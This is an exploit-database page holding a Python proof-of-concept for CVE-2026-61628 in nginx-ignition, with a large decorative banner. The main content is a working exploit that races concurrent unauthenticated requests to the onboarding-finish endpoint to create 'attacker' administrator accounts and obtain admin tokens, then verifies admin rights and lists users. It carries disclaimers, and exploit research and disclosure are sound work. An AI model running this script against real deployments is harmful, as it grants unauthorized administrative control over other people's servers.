Exploit database

GH-c4bdc7c5415800b2fe56137df852f4fc

abraxas/cve-2026-61628

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-61628

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files6
abraxas/cve-2026-61628Revision 30105835b5e4

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2026-61628-Abraxas-Labs.py

Suggested starting filePython · 15,787 bytes
#!/usr/bin/env python3
######################################################################################
#
#        d8888 888888b.   8888888b.         d8888 Y88b   d88P        d8888  .d8888b.
#       d88888 888  "88b  888   Y88b       d88888  Y88b d88P        d88888 d88P  Y88b
#      d88P888 888  .88P  888    888      d88P888   Y88o88P        d88P888 Y88b.
#     d88P 888 8888888K.  888   d88P     d88P 888    Y888P        d88P 888  "Y888b.
#    d88P  888 888  "Y88b 8888888P"     d88P  888    d888b       d88P  888     "Y88b.
#   d88P   888 888    888 888 T88b     d88P   888   d88888b     d88P   888       "888
#  d8888888888 888   d88P 888  T88b   d8888888888  d88P Y88b   d8888888888 Y88b  d88P
# d88P     888 8888888P"  888   T88b d88P     888 d88P   Y88b d88P     888  "Y8888P"
#
#                     888             d8888 888888b.    .d8888b.
#                     888            d88888 888  "88b  d88P  Y88b
#                     888           d88P888 888  .88P  Y88b.
#                     888          d88P 888 8888888K.   "Y888b.
#                     888         d88P  888 888  "Y88b     "Y88b.
#                     888        d88P   888 888    888       "888
#                     888       d8888888888 888   d88P Y88b  d88P
#                     88888888 d88P     888 8888888P"   "Y8888P"
#
#  Website : https://abraxaslabs.tech
#  GitHub  : https://github.com/abraxas
#  Twitter : @abraxas_null
#
#  CVE: CVE-2026-61628 (High: 8.1)
#  Vendor: nginx-ignition (lucasdillmann)
#  Versions: nginx-ignition <= 2.41.0 (fixed in 2.41.1)
#  Impact: Privilege Escalation (Administrator Account Creation)
#  Requires: unauthenticated POST /api/users/onboarding/finish
#
######################################################################################
#
#  RESEARCH / EDUCATIONAL USE ONLY.
#  Do not run, deploy, or use this material against any host unless you have
#  explicit written permission from both the party hosting this repository
#  and the owner of the target systems.  Found in the wild.
#
######################################################################################

import os as _os
import shutil as _shutil
import sys as _sys
import builtins as _builtins

_ART = {"abraxas": ["        d8888 888888b.   8888888b.         d8888 Y88b   d88P        d8888  .d8888b.", "       d88888 888  \"88b  888   Y88b       d88888  Y88b d88P        d88888 d88P  Y88b", "      d88P888 888  .88P  888    888      d88P888   Y88o88P        d88P888 Y88b.", "     d88P 888 8888888K.  888   d88P     d88P 888    Y888P        d88P 888  \"Y888b.", "    d88P  888 888  \"Y88b 8888888P\"     d88P  888    d888b       d88P  888     \"Y88b.", "   d88P   888 888    888 888 T88b     d88P   888   d88888b     d88P   888       \"888", "  d8888888888 888   d88P 888  T88b   d8888888888  d88P Y88b   d8888888888 Y88b  d88P", " d88P     888 8888888P\"  888   T88b d88P     888 d88P   Y88b d88P     888  \"Y8888P\""], "labs": ["                     888             d8888 888888b.    .d8888b.", "                     888            d88888 888  \"88b  d88P  Y88b", "                     888           d88P888 888  .88P  Y88b.", "                     888          d88P 888 8888888K.   \"Y888b.", "                     888         d88P  888 888  \"Y88b     \"Y88b.", "                     888        d88P   888 888    888       \"888", "                     888       d8888888888 888   d88P Y88b  d88P", "                     88888888 d88P     888 8888888P\"   \"Y8888P\""]}
_CVE = "CVE-2026-61628"
_SITE = "https://abraxaslabs.tech"
_GH = "https://github.com/abraxas"
_XURL = "https://x.com/abraxas_null"
_XH = "@abraxas_null"
_RST = "\033[0m"
_BLD = "\033[1m"


def _on():
    return not _os.environ.get("NO_COLOR")


def _rgb(r, g, b):
    return f"\033[38;2;{r};{g};{b}m" if _on() else ""


_RAIN = [
    (255, 77, 224), (255, 0, 212), (191, 95, 255), (91, 140, 255),
    (0, 210, 255), (0, 255, 249), (57, 255, 20), (180, 255, 70),
    (255, 230, 0), (255, 201, 70), (255, 122, 24), (255, 64, 96),
]


def _lerp(a, b, t):
    return tuple(int(a[i] + (b[i] - a[i]) * t) for i in range(3))


def _rain(x, width):
    if width <= 1:
        return _RAIN[0]
    t = (x / (width - 1)) * (len(_RAIN) - 1)
    i = min(int(t), len(_RAIN) - 2)
    return _lerp(_RAIN[i], _RAIN[i + 1], t - i)


def _logo_line(line, y, n):
    width = max(len(line), 1)
    out = []
    q = False
    for x, ch in enumerate(line):
        if ch == " ":
            out.append(ch)
            continue
        if ch == '"':
            q = not q
            out.append(_rgb(*(255, 201, 70) if q else (255, 230, 0)) + ch)
            continue
        if q:
            out.append(_rgb(255, 230, 0) + ch)
            continue
        r, g, b = _rain(x, width)
        out.append(_rgb(r, g, b) + ch)
    return "".join(out) + _RST


def print_abraxas_banner():
    cols = _shutil.get_terminal_size((120, 30)).columns
    art = _ART["abraxas"] + _ART["labs"]
    art_w = max(len(x) for x in art)
    content_w = min(max(art_w, 88), max(cols - 4, 40))
    box_w = content_w + 4
    if box_w > cols:
        content_w = max(cols - 4, 20)
        box_w = content_w + 4
    cyan, mag = _rgb(0, 255, 249), _rgb(255, 0, 212)
    top = cyan + "╔" + "═" * (box_w - 2) + "╗" + _RST
    mid = mag + "╠" + "═" * (box_w - 2) + "╣" + _RST
    bot = cyan + "╚" + "═" * (box_w - 2) + "╝" + _RST

    def row(vis, rendered, border):
        return _rgb(*border) + "║" + _RST + " " + rendered + _RST + " " + _rgb(*border) + "║" + _RST

    lines = [top]
    title_l, title_r = " ABRAXAS LABS", "analyze · reverse · disclose"
    gap = max(content_w - len(title_l) - len(title_r), 1)
    title = (title_l + " " * gap + title_r)[:content_w].ljust(content_w)
    cells = []
    split, rstart = len(title_l), content_w - len(title_r)
    for i, ch in enumerate(title):
        if ch == " ":
            cells.append(ch)
        elif i < split:
            cells.append(_rgb(0, 255, 249) + _BLD + ch)
        elif i >= rstart:
            cells.append(_rgb(140, 155, 175) + ch)
        else:
            cells.append(ch)
    lines.append(row(title, "".join(cells) + _RST, (0, 255, 249)))
    lines.append(mid)
    cve_l = " " + _CVE
    cve_r = "authorized research only"
    rest = max(content_w - len(cve_l) - len(cve_r), 3)
    midtxt = " local lab ".center(rest)[:rest]
    cve_line = (cve_l + midtxt + cve_r)[:content_w].ljust(content_w)
    cells = []
    le, rs = len(cve_l), content_w - len(cve_r)
    for i, ch in enumerate(cve_line):
        if ch == " ":
            cells.append(ch)
        elif i < le:
            cells.append(_rgb(255, 77, 224) + _BLD + ch)
        elif i >= rs:
            cells.append(_rgb(57, 255, 20) + ch)
        else:
            cells.append(_rgb(255, 0, 212) + ch)
    lines.append(row(cve_line, "".join(cells) + _RST, (255, 0, 212)))
    lines.append(mid)
    n = len(_ART["abraxas"])
    for y, line in enumerate(_ART["abraxas"]):
        vis = line[:content_w].ljust(content_w)
        lines.append(row(vis, _logo_line(vis, y, n), (255, 0, 212)))
    for y, line in enumerate(_ART["labs"]):
        vis = line[:content_w].ljust(content_w)
        lines.append(row(vis, _logo_line(vis, y, n), (255, 0, 212)))
    lines.append(mid)
    for left, right in (("Website", _SITE), ("GitHub", _GH), ("X", _XH + "  " + _XURL)):
        gap = max(content_w - 1 - len(left) - len(right), 1)
        vis = (" " + left + " " * gap + right)[:content_w].ljust(content_w)
        out = []
        left_end = 1 + len(left)
        right_start = content_w - len(right)
        for i, ch in enumerate(vis):
            if ch == " ":
                out.append(ch)
            elif i < left_end:
                out.append(_rgb(255, 230, 0) + ch)
            elif i >= right_start:
                out.append(_rgb(0, 255, 249) + ch)
            else:
                out.append(ch)
        lines.append(row(vis, "".join(out) + _RST, (255, 0, 212)))
    lines.append(bot)
    status = "[*]  abraxas!null ready on #labs   ·   " + _SITE
    scol = []
    for ch in status:
        if ch == " ":
            scol.append(ch)
        elif ch in "[]*":
            scol.append(_rgb(57, 255, 20) + ch)
        elif ch in "·#":
            scol.append(_rgb(255, 77, 224) + ch)
        else:
            scol.append(_rgb(232, 255, 248) + ch)
    lines.append(" " + "".join(scol) + _RST)
    _sys.stdout.write("\n".join(lines) + "\n\n")
    _sys.stdout.flush()


def _cprint(*args, **kwargs):
    sep = kwargs.get("sep", " ")
    s = sep.join(str(a) for a in args)
    low = s.lower()
    if s.startswith("SUCCESS") or "success" == low[:7]:
        col = _rgb(57, 255, 20) + _BLD
    elif s.startswith("FAIL") or low.startswith("fail"):
        col = _rgb(255, 64, 96) + _BLD
    elif "user_id" in low:
        col = _rgb(255, 201, 70) + _BLD
    elif low.startswith("status=") or "status=" in low[:20]:
        col = _rgb(0, 255, 249)
    elif low.startswith("carrier"):
        col = _rgb(255, 0, 212)
    elif s.lstrip().startswith("{") or s.lstrip().startswith("["):
        col = _rgb(255, 230, 0)
    else:
        col = _rgb(232, 255, 248)
    kwargs = dict(kwargs)
    file = kwargs.get("file", _sys.stdout)
    if file is _sys.stdout or file is _sys.stderr:
        _builtins.print(col + s + _RST, **{k: v for k, v in kwargs.items() if k != "sep"})
    else:
        _builtins.print(*args, **kwargs)


print_abraxas_banner()
_builtins.print = _cprint

import json
import sys
import threading
import urllib.error
import urllib.request
from concurrent.futures import ThreadPoolExecutor, as_completed
from dataclasses import dataclass

LABEL = "CVE-2026-61628"
DEFAULT_HOST = "127.0.0.1"
DEFAULT_PORT = 18090
DEFAULT_BASE = f"http://{DEFAULT_HOST}:{DEFAULT_PORT}"
DEFAULT_BURST = 16
PASSWORD = "LabPassw0rd-ignition"
HTTP_TIMEOUT = 20
BARRIER_TIMEOUT = 15
SEQUENTIAL_INDEX = 99
ONBOARDING_STATUS_PATH = "/api/users/onboarding/status"
ONBOARDING_FINISH_PATH = "/api/users/onboarding/finish"
USERS_CURRENT_PATH = "/api/users/current"
USERS_LIST_PATH = "/api/users?pageNumber=0&pageSize=50"
ADMIN_USERS_PERMS = frozenset({"READ_WRITE", "READWRITE"})


@dataclass(frozen=True)
class LabConfig:
    base: str
    burst: int
    password: str = PASSWORD
    timeout: int = HTTP_TIMEOUT

    @classmethod
    def from_argv(cls, argv: list[str]) -> LabConfig:
        base = (argv[1] if len(argv) > 1 else DEFAULT_BASE).rstrip("/")
        burst = int(argv[2]) if len(argv) > 2 else DEFAULT_BURST
        return cls(base=base, burst=burst)


def fail(reason: str) -> int:
    print(f"FAIL {reason}")
    return 1


def _loads_json(raw: bytes) -> object:
    if not raw:
        return None
    return json.loads(raw.decode("utf-8"))


def http_json(
    cfg: LabConfig,
    method: str,
    path: str,
    body: dict[str, str] | None = None,
    token: str | None = None,
) -> tuple[int, object]:
    data = None if body is None else json.dumps(body).encode("utf-8")
    headers: dict[str, str] = {}
    if body is not None:
        headers["Content-Type"] = "application/json"
    if token:
        headers["Authorization"] = f"Bearer {token}"
    req = urllib.request.Request(cfg.base + path, data=data, headers=headers, method=method)
    try:
        with urllib.request.urlopen(req, timeout=cfg.timeout) as resp:
            return resp.status, _loads_json(resp.read())
    except urllib.error.HTTPError as exc:
        raw = exc.read()
        try:
            payload = _loads_json(raw)
        except json.JSONDecodeError:
            payload = raw.decode("utf-8", errors="replace")[:300]
        return exc.code, payload


def _jwt_from_payload(payload: object) -> str | None:
    if isinstance(payload, dict) and payload.get("token"):
        return str(payload["token"])
    return None


def finish_onboarding(cfg: LabConfig, index: int) -> tuple[int, str | None]:
    username = f"attacker{index:02d}"
    status, payload = http_json(
        cfg,
        "POST",
        ONBOARDING_FINISH_PATH,
        {
            "name": f"Attacker {index:02d}",
            "username": username,
            "password": cfg.password,
        },
    )
    return status, _jwt_from_payload(payload)


def burst_finish(cfg: LabConfig) -> list[tuple[int, str | None]]:
    barrier = threading.Barrier(cfg.burst)
    results: list[tuple[int, str | None]] = []

    def one(index: int) -> tuple[int, str | None]:
        barrier.wait(timeout=BARRIER_TIMEOUT)
        return finish_onboarding(cfg, index)

    with ThreadPoolExecutor(max_workers=cfg.burst) as pool:
        futs = [pool.submit(one, i) for i in range(1, cfg.burst + 1)]
        for fut in as_completed(futs):
            results.append(fut.result())
    return results


def _listed_usernames(listing: object) -> list[str]:
    items = []
    if isinstance(listing, dict):
        items = (
            listing.get("contents")
            or listing.get("items")
            or listing.get("content")
            or listing.get("data")
            or []
        )
    return sorted(
        {(it.get("username") if isinstance(it, dict) else "") for it in items} - {""}
    )


def run_lab(cfg: LabConfig) -> int:
    print(f"IOC base={cfg.base} burst={cfg.burst}")
    st, status_body = http_json(cfg, "GET", ONBOARDING_STATUS_PATH)
    print(f"IOC onboarding_status={st} body={status_body}")
    if st != 200:
        return fail("onboarding status not reachable")
    if isinstance(status_body, dict) and status_body.get("finished") is True:
        return fail("instance already onboarded; wipe the volume and retry")

    results = burst_finish(cfg)
    codes = [c for c, _ in results]
    tokens = [t for _, t in results if t]
    n200 = sum(1 for c in codes if c == 200)
    n403 = sum(1 for c in codes if c == 403)
    print(f"IOC http_codes={sorted(codes)}")
    print(f"IOC n200={n200} n403={n403} n_jwt={len(tokens)}")

    if n200 < 1 or not tokens:
        print("IOC burst_missed_sqlite_or_lock; trying one sequential finish")
        st, tok = finish_onboarding(cfg, SEQUENTIAL_INDEX)
        print(f"IOC sequential_status={st} jwt={bool(tok)}")
        if st == 200 and tok:
            results.append((st, tok))
            tokens.append(tok)
            n200 = 1
        else:
            return fail("no unauthenticated admin JWT")

    token = tokens[0]
    cur_st, cur = http_json(cfg, "GET", USERS_CURRENT_PATH, token=token)
    if cur_st != 200 or not isinstance(cur, dict):
        return fail(f"JWT did not load /api/users/current {cur_st} {cur}")
    print(
        f"IOC current_user={cur.get('username')} "
        f"users_perm={cur.get('permissions', {}).get('users')}"
    )
    users_perm = str(cur.get("permissions", {}).get("users") or "")
    if users_perm.upper().replace("-", "_") not in ADMIN_USERS_PERMS:
        return fail(f"current user Users permission={users_perm!r}")

    list_st, listing = http_json(cfg, "GET", USERS_LIST_PATH, token=token)
    if list_st != 200:
        return fail(f"admin user list {list_st} {listing}")
    usernames = _listed_usernames(listing)
    print(f"IOC listed_users={usernames} listed_count={len(usernames)}")

    if n200 >= 2:
        print(f"SUCCESS {LABEL} unauth onboarding race minted multiple admin JWTs")
    else:
        print(
            f"SUCCESS {LABEL} unauth onboarding finish minted an admin JWT "
            "(single 200 this burst)"
        )
    return 0


def main() -> int:
    try:
        return run_lab(LabConfig.from_argv(sys.argv))
    except (
        OSError,
        TimeoutError,
        ValueError,
        json.JSONDecodeError,
        urllib.error.URLError,
        threading.BrokenBarrierError,
    ) as exc:
        return fail(f"{type(exc).__name__}: {exc}")


if __name__ == "__main__":
    raise SystemExit(main())